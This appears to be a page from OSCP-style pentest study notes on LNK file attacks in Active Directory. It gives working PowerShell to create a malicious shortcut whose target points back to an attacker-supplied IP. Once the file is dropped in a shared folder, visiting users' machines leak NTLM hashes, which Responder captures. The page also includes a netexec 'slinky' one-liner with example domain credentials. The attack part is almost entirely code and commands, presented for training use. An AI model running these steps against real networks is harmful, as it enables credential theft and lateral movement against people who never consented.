> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/active-directory/post-compromise-attacks/lnk-file-attacks.md).

# LNK File Attacks

A **LNK File Attack** is a type of [watering hole attack](https://www.techtarget.com/searchsecurity/definition/watering-hole-attack) that is done by creating a malicious file that points back to us, placing it inside of shared folder and then waiting for hashes to fly into [Responder](/active-directory/initial-attack-strategy/llmnr-poisoning.md).

## Manual Attack Setup

#### Inside of an elevated **PowerShell** shell create the malicious file

```powershell
$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\evil.lnk")
$lnk.TargetPath = "\\<YOUR-IP>\@evil.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "evil"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()
```

#### Save the file with an @ symbol at beginning of the name so it loads at the top of the share

#### Run Responder

```bash
sudo responder -I eth0 -dwv
```

## Automated Attack via Netexec

```bash
netexec smb 192.168.138.132 -d pnpt.local -u greg -p Password1 -M slinky -o NAME=evil SERVER=192.168.138.149
```